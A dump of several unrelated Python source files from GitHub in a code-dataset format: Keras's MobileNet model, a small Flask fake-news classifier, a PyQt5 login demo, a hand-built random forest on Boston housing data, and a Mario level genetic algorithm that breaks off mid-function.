average.reshape(count_mask.accessor())\n variance.set_selected(indices, varb)\n variance.reshape(count_mask.accessor())\n\n print(\"Saving to model.pickle\")\n with open(\"model.pickle\", \"w\") as outfile:\n import cPickle as pickle\n\n pickle.dump((average, count_mask, flex.sqrt(variance)), outfile)\n","repo_name":"dials/dials_scratch","sub_path":"jmp/model_background/mb.py","file_name":"mb.py","file_ext":"py","file_size_in_byte":4798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5862437049","text":"import warnings\n\nfrom keras import backend\nfrom keras import layers\nfrom keras.api_export import keras_export\nfrom keras.applications import imagenet_utils\nfrom keras.models import Functional\nfrom keras.ops import operation_utils\nfrom keras.utils import file_utils\n\nBASE_WEIGHT_PATH = (\n \"https://storage.googleapis.com/tensorflow/keras-applications/mobilenet/\"\n)\n\n\n@keras_export(\n [\n \"keras.applications.mobilenet.MobileNet\",\n \"keras.applications.MobileNet\",\n ]\n)\ndef MobileNet(\n input_shape=None,\n alpha=1.0,\n depth_multiplier=1,\n dropout=1e-3,\n include_top=True,\n weights=\"imagenet\",\n input_tensor=None,\n pooling=None,\n classes=1000,\n classifier_activation=\"softmax\",\n):\n \"\"\"Instantiates the MobileNet architecture.\n\n Reference:\n - [MobileNets: Efficient Convolutional Neural Networks\n for Mobile Vision Applications](\n https://arxiv.org/abs/1704.04861)\n\n This function returns a Keras image classification model,\n optionally loaded with weights pre-trained on ImageNet.\n\n For image classification use cases, see\n [this page for detailed examples](\n https://keras.io/api/applications/#usage-examples-for-image-classification-models).\n\n For transfer learning use cases, make sure to read the\n [guide to transfer learning & fine-tuning](\n https://keras.io/guides/transfer_learning/).\n\n Note: each Keras Application expects a specific kind of input preprocessing.\n For MobileNet, call `keras.applications.mobilenet.preprocess_input`\n on your inputs before passing them to the model.\n `mobilenet.preprocess_input` will scale input pixels between -1 and 1.\n\n Args:\n input_shape: Optional shape tuple, only to be specified if `include_top`\n is `False` (otherwise the input shape has to be `(224, 224, 3)`\n (with `\"channels_last\"` data format) or `(3, 224, 224)`\n (with `\"channels_first\"` data format).\n It should have exactly 3 inputs channels, and width and\n height should be no smaller than 32. E.g. `(200, 200, 3)` would\n be one valid value. Defaults to `None`.\n `input_shape` will be ignored if the `input_tensor` is provided.\n alpha: Controls the width of the network. This is known as the width\n multiplier in the MobileNet paper.\n - If `alpha < 1.0`, proportionally decreases the number\n of filters in each layer.\n - If `alpha > 1.0`, proportionally increases the number\n of filters in each layer.\n - If `alpha == 1`, default number of filters from the paper\n are used at each layer. Defaults to `1.0`.\n depth_multiplier: Depth multiplier for depthwise convolution.\n This is called the resolution multiplier in the MobileNet paper.\n Defaults to `1.0`.\n dropout: Dropout rate. Defaults to `0.001`.\n include_top: Boolean, whether to include the fully-connected layer\n at the top of the network. Defaults to `True`.\n weights: One of `None` (random initialization), `\"imagenet\"`\n (pre-training on ImageNet), or the path to the weights file\n to be loaded. Defaults to `\"imagenet\"`.\n input_tensor: Optional Keras tensor (i.e. output of `layers.Input()`)\n to use as image input for the model. `input_tensor` is useful\n for sharing inputs between multiple different networks.\n Defaults to `None`.\n pooling: Optional pooling mode for feature extraction when `include_top`\n is `False`.\n - `None` (default) means that the output of the model will be\n the 4D tensor output of the last convolutional block.\n - `avg` means that global average pooling\n will be applied to the output of the\n last convolutional block, and thus\n the output of the model will be a 2D tensor.\n - `max` means that global max pooling will be applied.\n classes: Optional number of classes to classify images into,\n only to be specified if `include_top` is `True`, and if\n no `weights` argument is specified. Defaults to `1000`.\n classifier_activation: A `str` or callable. The activation function\n to use on the \"top\" layer. Ignored unless `include_top=True`.\n Set `classifier_activation=None` to return the logits of the \"top\"\n layer. When loading pretrained weights, `classifier_activation`\n can only be `None` or `\"softmax\"`.\n\n Returns:\n A model instance.\n \"\"\"\n if not (weights in {\"imagenet\", None} or file_utils.exists(weights)):\n raise ValueError(\n \"The `weights` argument should be either \"\n \"`None` (random initialization), 'imagenet' \"\n \"(pre-training on ImageNet), \"\n \"or the path to the weights file to be loaded. \"\n f\"Received weights={weights}\"\n )\n\n if weights == \"imagenet\" and include_top and classes != 1000:\n raise ValueError(\n \"If using `weights='imagenet'` with `include_top=True`, \"\n \"`classes` should be 1000. \"\n f\"Received classes={classes}\"\n )\n\n # Determine proper input shape and default size.\n if input_shape is None:\n default_size = 224\n else:\n if backend.image_data_format() == \"channels_first\":\n rows = input_shape[1]\n cols = input_shape[2]\n else:\n rows = input_shape[0]\n cols = input_shape[1]\n\n if rows == cols and rows in [128, 160, 192, 224]:\n default_size = rows\n else:\n default_size = 224\n\n input_shape = imagenet_utils.obtain_input_shape(\n input_shape,\n default_size=default_size,\n min_size=32,\n data_format=backend.image_data_format(),\n require_flatten=include_top,\n weights=weights,\n )\n\n if backend.image_data_format() == \"channels_last\":\n row_axis, col_axis = (0, 1)\n else:\n row_axis, col_axis = (1, 2)\n rows = input_shape[row_axis]\n cols = input_shape[col_axis]\n\n if weights == \"imagenet\":\n if depth_multiplier != 1:\n raise ValueError(\n \"If imagenet weights are being loaded, \"\n \"depth multiplier must be 1. \"\n f\"Received depth_multiplier={depth_multiplier}\"\n )\n\n if alpha not in [0.25, 0.50, 0.75, 1.0]:\n raise ValueError(\n \"If imagenet weights are being loaded, \"\n \"alpha can be one of\"\n \"`0.25`, `0.50`, `0.75` or `1.0` only. \"\n f\"Received alpha={alpha}\"\n )\n\n if rows != cols or rows not in [128, 160, 192, 224]:\n rows = 224\n warnings.warn(\n \"`input_shape` is undefined or non-square, \"\n \"or `rows` is not in [128, 160, 192, 224]. \"\n \"Weights for input shape (224, 224) will be \"\n \"loaded as the default.\",\n stacklevel=2,\n )\n\n if input_tensor is None:\n img_input = layers.Input(shape=input_shape)\n else:\n if not backend.is_keras_tensor(input_tensor):\n img_input = layers.Input(tensor=input_tensor, shape=input_shape)\n else:\n img_input = input_tensor\n\n x = _conv_block(img_input, 32, alpha, strides=(2, 2))\n x = _depthwise_conv_block(x, 64, alpha, depth_multiplier, block_id=1)\n\n x = _depthwise_conv_block(\n x, 128, alpha, depth_multiplier, strides=(2, 2), block_id=2\n )\n x = _depthwise_conv_block(x, 128, alpha, depth_multiplier, block_id=3)\n\n x = _depthwise_conv_block(\n x, 256, alpha, depth_multiplier, strides=(2, 2), block_id=4\n )\n x = _depthwise_conv_block(x, 256, alpha, depth_multiplier, block_id=5)\n\n x = _depthwise_conv_block(\n x, 512, alpha, depth_multiplier, strides=(2, 2), block_id=6\n )\n x = _depthwise_conv_block(x, 512, alpha, depth_multiplier, block_id=7)\n x = _depthwise_conv_block(x, 512, alpha, depth_multiplier, block_id=8)\n x = _depthwise_conv_block(x, 512, alpha, depth_multiplier, block_id=9)\n x = _depthwise_conv_block(x, 512, alpha, depth_multiplier, block_id=10)\n x = _depthwise_conv_block(x, 512, alpha, depth_multiplier, block_id=11)\n\n x = _depthwise_conv_block(\n x, 1024, alpha, depth_multiplier, strides=(2, 2), block_id=12\n )\n x = _depthwise_conv_block(x, 1024, alpha, depth_multiplier, block_id=13)\n\n if include_top:\n x = layers.GlobalAveragePooling2D(keepdims=True)(x)\n x = layers.Dropout(dropout, name=\"dropout\")(x)\n x = layers.Conv2D(classes, (1, 1), padding=\"same\", name=\"conv_preds\")(x)\n x = layers.Reshape((classes,), name=\"reshape_2\")(x)\n imagenet_utils.validate_activation(classifier_activation, weights)\n x = layers.Activation(\n activation=classifier_activation, name=\"predictions\"\n )(x)\n else:\n if pooling == \"avg\":\n x = layers.GlobalAveragePooling2D()(x)\n elif pooling == \"max\":\n x = layers.GlobalMaxPooling2D()(x)\n\n # Ensure that the model takes into account\n # any potential predecessors of `input_tensor`.\n if input_tensor is not None:\n inputs = operation_utils.get_source_inputs(input_tensor)\n else:\n inputs = img_input\n\n # Create model.\n model = Functional(inputs, x, name=f\"mobilenet_{alpha:0.2f}_{rows}\")\n\n # Load weights.\n if weights == \"imagenet\":\n if alpha == 1.0:\n alpha_text = \"1_0\"\n elif alpha == 0.75:\n alpha_text = \"7_5\"\n elif alpha == 0.50:\n alpha_text = \"5_0\"\n else:\n alpha_text = \"2_5\"\n\n if include_top:\n model_name = \"mobilenet_%s_%d_tf.h5\" % (alpha_text, rows)\n weight_path = BASE_WEIGHT_PATH + model_name\n weights_path = file_utils.get_file(\n model_name, weight_path, cache_subdir=\"models\"\n )\n else:\n model_name = \"mobilenet_%s_%d_tf_no_top.h5\" % (alpha_text, rows)\n weight_path = BASE_WEIGHT_PATH + model_name\n weights_path = file_utils.get_file(\n model_name, weight_path, cache_subdir=\"models\"\n )\n model.load_weights(weights_path)\n elif weights is not None:\n model.load_weights(weights)\n\n return model\n\n\ndef _conv_block(inputs, filters, alpha, kernel=(3, 3), strides=(1, 1)):\n \"\"\"Adds an initial convolution layer (with batch normalization and relu6).\n\n Args:\n inputs: Input tensor of shape `(rows, cols, 3)` (with `channels_last`\n data format) or (3, rows, cols) (with `channels_first` data format).\n It should have exactly 3 inputs channels, and width and height\n should be no smaller than 32. E.g. `(224, 224, 3)` would be\n one valid value.\n filters: Integer, the dimensionality of the output space (i.e. the\n number of output filters in the convolution).\n alpha: controls the width of the network. - If `alpha` < 1.0,\n proportionally decreases the number of filters in each layer.\n - If `alpha` > 1.0, proportionally increases the number of filters\n in each layer.\n - If `alpha` = 1, default number of filters from the paper are\n used at each layer.\n kernel: An integer or tuple/list of 2 integers, specifying the width\n and height of the 2D convolution window.\n Can be a single integer to specify the same value for\n all spatial dimensions.\n strides: An integer or tuple/list of 2 integers, specifying the strides\n of the convolution along the width and height.\n Can be a single integer to specify the same value for all\n spatial dimensions. Specifying any stride value != 1 is\n incompatible with specifying any `dilation_rate`\n value != 1. # Input shape\n 4D tensor with shape: `(samples, channels, rows, cols)` if\n data_format='channels_first'\n or 4D tensor with shape: `(samples, rows, cols, channels)` if\n data_format='channels_last'. # Output shape\n 4D tensor with shape: `(samples, filters, new_rows, new_cols)`\n if data_format='channels_first'\n or 4D tensor with shape: `(samples, new_rows, new_cols, filters)`\n if data_format='channels_last'. `rows` and `cols` values\n might have changed due to stride.\n\n Returns:\n Output tensor of block.\n \"\"\"\n channel_axis = 1 if backend.image_data_format() == \"channels_first\" else -1\n filters = int(filters * alpha)\n x = layers.Conv2D(\n filters,\n kernel,\n padding=\"same\",\n use_bias=False,\n strides=strides,\n name=\"conv1\",\n )(inputs)\n x = layers.BatchNormalization(axis=channel_axis, name=\"conv1_bn\")(x)\n return layers.ReLU(6.0, name=\"conv1_relu\")(x)\n\n\ndef _depthwise_conv_block(\n inputs,\n pointwise_conv_filters,\n alpha,\n depth_multiplier=1,\n strides=(1, 1),\n block_id=1,\n):\n \"\"\"Adds a depthwise convolution block.\n\n A depthwise convolution block consists of a depthwise conv,\n batch normalization, relu6, pointwise convolution,\n batch normalization and relu6 activation.\n\n Args:\n inputs: Input tensor of shape `(rows, cols, channels)` (with\n `channels_last` data format) or (channels, rows, cols) (with\n `channels_first` data format).\n pointwise_conv_filters: Integer, the dimensionality of the output space\n (i.e. the number of output filters in the pointwise convolution).\n alpha: controls the width of the network. - If `alpha` < 1.0,\n proportionally decreases the number of filters in each layer.\n - If `alpha` > 1.0, proportionally increases the number of filters\n in each layer.\n - If `alpha` = 1, default number of filters from the paper are\n used at each layer.\n depth_multiplier: The number of depthwise convolution output channels\n for each input channel. The total number of depthwise convolution\n output channels will be equal to `filters_in * depth_multiplier`.\n strides: An integer or tuple/list of 2 integers, specifying the strides\n of the convolution along the width and height.\n Can be a single integer to specify the same value for\n all spatial dimensions. Specifying any stride value != 1 is\n incompatible with specifying any `dilation_rate` value != 1.\n block_id: Integer, a unique identification designating the block number.\n # Input shape\n 4D tensor with shape: `(batch, channels, rows, cols)` if\n data_format='channels_first'\n or 4D tensor with shape: `(batch, rows, cols, channels)` if\n data_format='channels_last'. # Output shape\n 4D tensor with shape: `(batch, filters, new_rows, new_cols)` if\n data_format='channels_first'\n or 4D tensor with shape: `(batch, new_rows, new_cols, filters)` if\n data_format='channels_last'. `rows` and `cols` values might have\n changed due to stride.\n\n Returns:\n Output tensor of block.\n \"\"\"\n channel_axis = 1 if backend.image_data_format() == \"channels_first\" else -1\n pointwise_conv_filters = int(pointwise_conv_filters * alpha)\n\n if strides == (1, 1):\n x = inputs\n else:\n x = layers.ZeroPadding2D(\n ((0, 1), (0, 1)), name=\"conv_pad_%d\" % block_id\n )(inputs)\n x = layers.DepthwiseConv2D(\n (3, 3),\n padding=\"same\" if strides == (1, 1) else \"valid\",\n depth_multiplier=depth_multiplier,\n strides=strides,\n use_bias=False,\n name=\"conv_dw_%d\" % block_id,\n )(x)\n x = layers.BatchNormalization(\n axis=channel_axis, name=\"conv_dw_%d_bn\" % block_id\n )(x)\n x = layers.ReLU(6.0, name=\"conv_dw_%d_relu\" % block_id)(x)\n\n x = layers.Conv2D(\n pointwise_conv_filters,\n (1, 1),\n padding=\"same\",\n use_bias=False,\n strides=(1, 1),\n name=\"conv_pw_%d\" % block_id,\n )(x)\n x = layers.BatchNormalization(\n axis=channel_axis, name=\"conv_pw_%d_bn\" % block_id\n )(x)\n return layers.ReLU(6.0, name=\"conv_pw_%d_relu\" % block_id)(x)\n\n\n@keras_export(\"keras.applications.mobilenet.preprocess_input\")\ndef preprocess_input(x, data_format=None):\n return imagenet_utils.preprocess_input(\n x, data_format=data_format, mode=\"tf\"\n )\n\n\n@keras_export(\"keras.applications.mobilenet.decode_predictions\")\ndef decode_predictions(preds, top=5):\n return imagenet_utils.decode_predictions(preds, top=top)\n\n\npreprocess_input.__doc__ = imagenet_utils.PREPROCESS_INPUT_DOC.format(\n mode=\"\",\n ret=imagenet_utils.PREPROCESS_INPUT_RET_DOC_TF,\n error=imagenet_utils.PREPROCESS_INPUT_ERROR_DOC,\n)\ndecode_predictions.__doc__ = imagenet_utils.decode_predictions.__doc__\n","repo_name":"keras-team/keras","sub_path":"keras/applications/mobilenet.py","file_name":"mobilenet.py","file_ext":"py","file_size_in_byte":17144,"program_lang":"python","lang":"en","doc_type":"code","stars":59773,"dataset":"github-code","pt":"67"} +{"seq_id":"39589557592","text":"from flask import Flask,render_template,url_for,request\nimport joblib\nimport re\nimport string\nimport pandas as pd\n\n\napp = Flask(__name__)\nModel = joblib.load('C:/Users/Ashraf/Desktop/Fake_news_Detection/Model.pkl')\n\n@app.route('/')\ndef index():\n return render_template(\"index.html\")\n\ndef wordpre(text):\n text = text.lower()\n text = re.sub(r'\\[.*?\\]', '', text)\n text = re.sub(\"\\\\W\",\" \",text) # remove special chars\n text = re.sub(r'https?://\\S+|www\\.\\S+', '', text)\n text = re.sub('<.*?>+', '', text)\n text = re.sub('[%s]' % re.escape(string.punctuation), '', text)\n text = re.sub('\\n', '', text)\n text = re.sub(r'\\w*\\d\\w*', '', text)\n return text\n\n@app.route('/',methods=['POST'])\ndef pre():\n if request.method == 'POST':\n txt = request.form['txt']\n txt = wordpre(txt)\n txt = pd.Series(txt)\n result = Model.predict(txt)\n return render_template(\"index.html\", result = result)\n return '' \n \n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"mohammed97ashraf/Fake_news_Detection","sub_path":"Model deployment using Flask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"71698210775","text":"\n\nimport random\n\ndict1 = {'heads': 0, 'tails': 0}\n\ncount = 0\n\nflips = input(\"press 'f' to flip ('q' to stop)\")\n\nwhile flips == 'f':\n \n for i in range (10):\n toss = random.randint(1,2)\n \n if toss == 1:\n side = 'heads'\n dict1['heads']+=1\n else:\n side = 'tails'\n dict1['tails']+=1\n \n print (side)\n flips = input(\"press 'f' to flip ('q' to stop)\")\n if flips == 'q':\n break\n\n count = count + 1\n\n print (dict1)\n print (count)","repo_name":"dpmrei/Swinburne-Uni-Python-Course","sub_path":"04-Repetition/coin toss.py","file_name":"coin toss.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42761785749","text":"from PyQt5.Qt import *\nimport sys\n\nclass Window(QWidget):\n def __init__(self):\n super(Window, self).__init__()\n self.setWindowTitle(\"交互状态案例\")\n self.resize(500, 500)\n self.setup_ui()\n\n def setup_ui(self):\n label=QLabel(self)\n le=QLineEdit(self)\n btn=QPushButton(self)\n\n label.setText(\"标签\")\n label.move(100,50)\n label.hide()\n\n le.setText(\"文本框\")\n le.move(100,100)\n\n btn.setText(\"登录\")\n btn.move(100,150)\n btn.setEnabled(False)\n\n def text_cao(text):\n print(\"文本内容发生了改变\",text)\n btn.setEnabled(len(text)>0)\n le.textChanged.connect(text_cao)\n\n def check():\n content=le.text()\n if content==\"Sz\":\n label.setText(\"登陆成功\")\n else:\n label.setText(\"登陆失败\")\n label.show()\n label.adjustSize()\n btn.pressed.connect(check)\n\n\nif __name__ == '__main__':\n #创建一个应用程序对象\n app=QApplication(sys.argv)\n #创建控件\n window=Window()\n #设置控件\n\n\n\n\n #展示控件\n window.show()\n #进入消息循环\n sys.exit(app.exec_())\n","repo_name":"roaddd/PyQt5","sub_path":"QWidget交互状态的案例.py","file_name":"QWidget交互状态的案例.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13337355176","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[51]:\n\n\nfrom sklearn.datasets import load_boston\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\n\n\n# In[52]:\n\n\nX, y = load_boston(return_X_y=True)\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.5, random_state=85)\n\n\n# In[53]:\n\n\nprint(X_train.shape, y_train.shape, X_test.shape, y_test.shape)\n\n\n# In[54]:\n\n\n# calculate the rss when give the attribute and s, and the x and y data\ndef calculate_RSS(X_rss, y_rss, attr, s):\n d_1 = y_rss[X_rss[:, attr]<=s]\n d_2 = y_rss[X_rss[:, attr]>s]\n \n if len(d_1)==0:\n rss_1 = 0\n else:\n rss_1 = ((d_1 - d_1.mean())**2).sum()\n \n if len(d_2)==0:\n rss_2 = 0\n else:\n rss_2 = ((d_2 - d_2.mean())**2).sum() \n \n return rss_1 + rss_2\n\n\n# In[399]:\n\n\nclass TreeNode:\n # treenode - automatically trains itself by building the tree beneath itself when initialised in a recursive manner\n def __init__(self, X, y, depth_level, max_depth=3, features_sample=None):\n self.depth_level = depth_level\n self.max_depth = max_depth\n if features_sample:\n self.features_sample = X.shape[1]\n else:\n self.features_sample = X.shape[1]/3\n \n if depth_level==max_depth or len(y)<=1:\n self.type = \"leaf\"\n self.prediction_value = np.mean(y)\n self.y = y\n else:\n self.type = \"split\"\n \n self.split_info = self.create_split(X_create_split=X, y_create_split=y)\n\n left_indices = X[:, self.split_info['best_attribute']]<=self.split_info['best_split_value']\n right_indices = X[:, self.split_info['best_attribute']]>self.split_info['best_split_value']\n \n self.X_left = X[left_indices, :]\n self.y_left = y[left_indices]\n\n self.X_right = X[right_indices, :]\n self.y_right = y[right_indices]\n \n if len(self.y_right)==0 or len(self.y_left)==0:\n self.type = \"leaf\"\n self.prediction_value = np.mean(y)\n self.y = y\n else:\n self.create_lower_branches()\n \n # create lower branches - makes two new tree nodes below itself using the respective subsets of the data\n def create_lower_branches(self):\n self.left = TreeNode(self.X_left, \n self.y_left, \n depth_level=self.depth_level+1,\n max_depth = self.max_depth)\n self.right = TreeNode(self.X_right, \n self.y_right, \n depth_level=self.depth_level+1,\n max_depth = self.max_depth)\n \n # searches through the attributes and data to create the split\n def create_split(self, X_create_split, y_create_split):\n min_RSS = np.inf\n size = int(np.round(self.features_sample))\n attributes_considered = np.random.choice(X_create_split.shape[1], size=size, replace=False)\n for attribute in attributes_considered:\n unique_values = np.unique(X_create_split[:, attribute])\n \n for s in unique_values:\n rss = calculate_RSS(X_create_split, y_create_split, attr=attribute, s=s)\n if rss < min_RSS:\n min_RSS = rss\n best_attribute = attribute\n best_split_value = s\n return {'min_RSS': min_RSS, \n 'best_attribute': best_attribute, \n 'best_split_value': best_split_value}\n \n # predicts for a single observation\n # again works recursively, retrieving the prediction value of the relevant branch for each split\n def predict(self,X):\n if self.type==\"leaf\":\n\n return self.prediction_value\n else:\n \n if X[self.split_info['best_attribute']] <= self.split_info['best_split_value']:\n\n return self.left.predict(X)\n else:\n\n return self.right.predict(X)\n \n # predicts for a group of observation\n def predict_set(self, X):\n return np.array([self.predict(x) for x in X])\n \n\n \n\n\n# In[410]:\n\n\n## to test the Decision Tree, the mean squared error on the training set for a very high depth was checked - \n## this should be 0 as there should be a leaf made for each value in the dataset\n\ntreenode = TreeNode(X = X_train[:], y = y_train[:], features_sample=True, depth_level=0, max_depth=5000) \npredictions = treenode.predict_set(X_train)\nprint(\"Acccuracy for very high depth on train: \", ((predictions-y_train)**2).mean())\nprint(\"(Should be close to 0)\")\n\n\n# In[303]:\n\n\n# checking the MSE on the test set for a single tree\ntreenode = TreeNode(X = X_train[:], y = y_train[:], depth_level=0, max_depth=3) \npredictions = treenode.predict_set(X_test)\n((predictions-y_test)**2).mean()\n\n\n# In[347]:\n\n\nclass RandomForest:\n # the random forest uses a collection of trees, where each tree sees a boostrap of the data (selection with replacement)\n # and each split sees a random subset of the features\n \n def __init__(self, number_trees=100, data_proportion_per_tree=0.66, max_depth=3):\n self.number_trees = number_trees\n self.data_proportion_per_tree = data_proportion_per_tree\n self.amount_per_tree = int(data_proportion_per_tree*X_train.shape[0])\n self.max_depth = max_depth\n \n # train by making the trees and store them\n def train(self, X, y):\n self.trees = []\n for _ in range(self.number_trees):\n indices_to_send = np.random.choice(X_train.shape[0], size = self.amount_per_tree, replace=True)\n \n # this initialisation of the tree automatically trains it\n tree = TreeNode(X = X_train[indices_to_send], y = y_train[indices_to_send], depth_level=0, max_depth=self.max_depth)\n self.trees.append(tree)\n \n # predict by predicting for each tree, then takng the mean\n def predict(self, X):\n return np.array([np.mean([tree.predict(x) for tree in self.trees]) for x in X])\n\n\n# In[369]:\n\n\n# function to get MSE quickly\ndef get_MSE(y_predictions, y_labels):\n return ((predictions-y_labels)**2).mean()\n\n\n# In[415]:\n\n\ntrain_mse_depth = []\ntest_mse_depth = []\n\n# loop to explore effect of depth on train and test MSE\nfor depth in range(2, 30):\n print(\"\\rDoing depth: {}\".format(depth), end=\"\")\n rf = RandomForest(number_trees=100, data_proportion_per_tree=0.66, max_depth=depth)\n rf.train(X_train, y_train)\n predictions = rf.predict(X_train)\n train_mse_depth.append(get_MSE(predictions, y_train))\n predictions = rf.predict(X_test)\n test_mse_depth.append(get_MSE(predictions, y_test))\n\n\n# In[416]:\n\n\nimport matplotlib.pyplot as plt\n\nplt.title(\"MSE against depth\")\nplt.plot(list(range(2, 30)), train_mse_depth, label=\"Train\")\nplt.plot(list(range(2, 30)), test_mse_depth, label=\"Test\")\nplt.ylabel(\"MSE\")\nplt.legend()\nplt.xlabel(\"Depth\")\n\n\n# In[382]:\n\n\ntrain_mse = []\ntest_mse = []\n\n# loop to explore effect of number of trees on train and test MSE\nnumber_trees_list = [1, 5, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 200, 300, 400, 500, 600, 700, 800, 900]\nfor number_trees in number_trees_list:\n print(\"\\rDoing number_trees: {}\".format(number_trees), end=\"\")\n rf = RandomForest(number_trees=number_trees, data_proportion_per_tree=0.66, max_depth=8)\n rf.train(X_train, y_train)\n predictions = rf.predict(X_train)\n train_mse.append(get_MSE(predictions, y_train))\n predictions = rf.predict(X_test)\n test_mse.append(get_MSE(predictions, y_test))\n\n\n# In[383]:\n\n\nimport matplotlib.pyplot as plt\n\nplt.title(\"MSE against number trees\")\nplt.plot(number_trees_list, train_mse, label=\"train\")\nplt.plot(number_trees_list, test_mse, label=\"test\")\nplt.ylabel(\"MSE\")\nplt.legend()\nplt.xlabel(\"Number of trees\")\n\n","repo_name":"HarshalU/Projects","sub_path":"RF.py","file_name":"RF.py","file_ext":"py","file_size_in_byte":7991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72072068692","text":"import copy\nimport heapq\nimport metrics\nimport multiprocessing.pool as mpool\nimport os\nimport random\nimport shutil\nimport time\nimport math\n\nwidth = 200\nheight = 16\n\noptions = [\n \"-\", # an empty space\n \"X\", # a solid wall\n \"?\", # a question mark block with a coin\n \"M\", # a question mark block with a mushroom\n \"B\", # a breakable block\n \"o\", # a coin\n \"|\", # a pipe segment\n \"T\", # a pipe top\n \"E\", # an enemy\n #\"f\", # a flag, do not generate\n #\"v\", # a flagpole, do not generate\n #\"m\" # mario's start position, do not generate\n]\n\n# The level as a grid of tiles\n\n\nclass Individual_Grid(object):\n __slots__ = [\"genome\", \"_fitness\"]\n\n def __init__(self, genome):\n self.genome = copy.deepcopy(genome)\n self._fitness = None\n\n # Update this individual's estimate of its fitness.\n # This can be expensive so we do it once and then cache the result.\n def calculate_fitness(self):\n measurements = metrics.metrics(self.to_level())\n # Print out the possible measurements or look at the implementation of metrics.py for other keys:\n # print(measurements.keys())\n # Default fitness function: Just some arbitrary combination of a few criteria. Is it good? Who knows?\n # STUDENT Modify this, and possibly add more metrics. You can replace this with whatever code you like.\n coefficients = dict(\n meaningfulJumpVariance=0.5,\n negativeSpace=0.6,\n pathPercentage=0.5,\n emptyPercentage=0.6,\n linearity=-0.5,\n solvability=2.0\n )\n self._fitness = sum(map(lambda m: coefficients[m] * measurements[m],\n coefficients))\n return self\n\n # Return the cached fitness value or calculate it as needed.\n def fitness(self):\n if self._fitness is None:\n self.calculate_fitness()\n return self._fitness\n\n # Mutate a genome into a new genome. Note that this is a _genome_, not an individual!\n def mutate(self, genome):\n # STUDENT implement a mutation operator, also consider not mutating this individual\n # STUDENT also consider weighting the different tile types so it's not uniformly random\n # STUDENT consider putting more constraints on this to prevent pipes in the air, etc\n\n left = 1\n right = width - 1\n for y in range(height):\n for x in range(left, right):\n pass\n return genome\n \n # Create zero or more children from self and other\n def generate_children(self, other):\n new_genome = copy.deepcopy(self.genome)\n # Leaving first and last columns alone...\n # do crossover with other\n # doing single-point crossover (for now)\n left = 1\n right = width - 1\n for y in range(height):\n cross_point = random.randint(left, right)\n for x in range(left, right):\n # STUDENT Which one should you take? Self, or other? Why?\n # STUDENT consider putting more constraints on this to prevent pipes in the air, etc\n \n if x > cross_point:\n new_genome[y][x] = other.genome[y][x]\n # choose based on fitness?\n # fitness doesn't take constraints into account, lots of constraints happen here\n #if self.fitness() > other.fitness():\n #new_genome[y][x] = self.genome[y][x]\n #if other.fitness() >= self.fitness():\n #new_genome[y][x] = other.genome[y][x]\n \n #make into function, but not as a part of the class\n #replace floating tops\n #if new_genome[y][x] is \"T\" and new_genome[y+1][x] is not \"|\":\n #new_genome[y][x] = \"-\"\n \n # top all segments or add to them\n if (y - 1) >= 0 and new_genome[y][x] is \"|\":\n \"\"\"cont = ['|','T']\n if (y - 1) is 0:\n pipe = \"T\"\n else:\n cont_probs = [0.2, 0.8]\n pipe = random.choices(cont, weights=cont_probs, k=1)\"\"\"\n pipe = \"T\"\n new_genome[y-1][x] = pipe\n \n # encourage grouping of blocks\n if new_genome[y][x-1] != new_genome[y][x] and new_genome[y][x-1] is not \"m\":\n if new_genome[y][x-1] is \"X\" or \"B\" or \"?\" or \"M\" and new_genome[y][x-1] is not \"|\" or \"T\" and y != 15:\n if x > width - 3:\n break\n p_1 = .25\n if random.random() <= p_1:\n solids = [\"X\",\"B\",\"?\",\"M\"]\n solid_p = [0.3,0.45,0.15,0.1]\n choice = random.choices(solids, weights=solid_p, k = 1)\n new_genome[y][x] = choice[0]\n else:\n probability = .20\n if random.random() <= probability:\n new_genome[y][x] = new_genome[y][x-1]\n \n \n \"\"\"\n # no one-space gaps\n if new_genome[y][x] is \"X\" or \"B\" or \"?\" or \"M\" or \"T\":\n if (y - 2) >= 0 and new_genome[y-1][x] is \"-\" or \"o\" or \"E\":\n if (y - 2) >= 0 and new_genome[y-2][x] is \"X\" or \"B\" or \"?\" or \"M\" or \"T\":\n new_genome[y][x] = \"-\"\n # same thing for space above\n if (y + 2) < height and new_genome[y+1][x] is \"-\" or \"o\" or \"E\":\n if (y + 2) < height and new_genome[y+2][x] is \"X\" or \"B\" or \"?\" or \"M\" or \"T\":\n new_genome[y][x] = \"-\"\n \"\"\"\n # do mutation; note we're returning a one-element tuple here\n #return (Individual_Grid(new_genome),)\n return (Individual_Grid(new_genome))\n \n # Turn the genome into a level string (easy for this genome)\n def to_level(self):\n return self.genome\n\n # These both start with every floor tile filled with Xs\n # STUDENT Feel free to change these\n @classmethod\n def empty_individual(cls):\n g = [[\"-\" for col in range(width)] for row in range(height)]\n g[15][:] = [\"X\"] * width\n g[14][0] = \"m\"\n g[7][-1] = \"v\"\n for col in range(8, 14):\n g[col][-1] = \"f\"\n for col in range(14, 16):\n g[col][-1] = \"X\"\n return cls(g)\n\n @classmethod\n def random_individual(cls):\n # STUDENT consider putting more constraints on this to prevent pipes in the air, etc\n # STUDENT also consider weighting the different tile types so it's not uniformly random\n probs = [0.89,0.02,0.01,0.01,0.01,0.03,0.01,0.01,0.01]\n g = [random.choices(options, weights=probs, k=width) for row in range(15)]\n floor_probs = [0.20,0.75,0,0,0,0,0.05,0,0]\n h = random.choices(options, weights=floor_probs, k=width)\n #theoretically adds the floor row with h\n g.append(h)\n \n # Replaces all floating pipes with empty spaces.\n y = 13 #1 space above ground floor\n while y > -1:\n for x in range(0, width):\n if g[y][x] == \"|\" or g[y][x] == \"T\":\n\n #check if connected down to the ground\n y2 = y\n while y2 < 15:\n if g[y2+1][x] == \"|\": \n y2 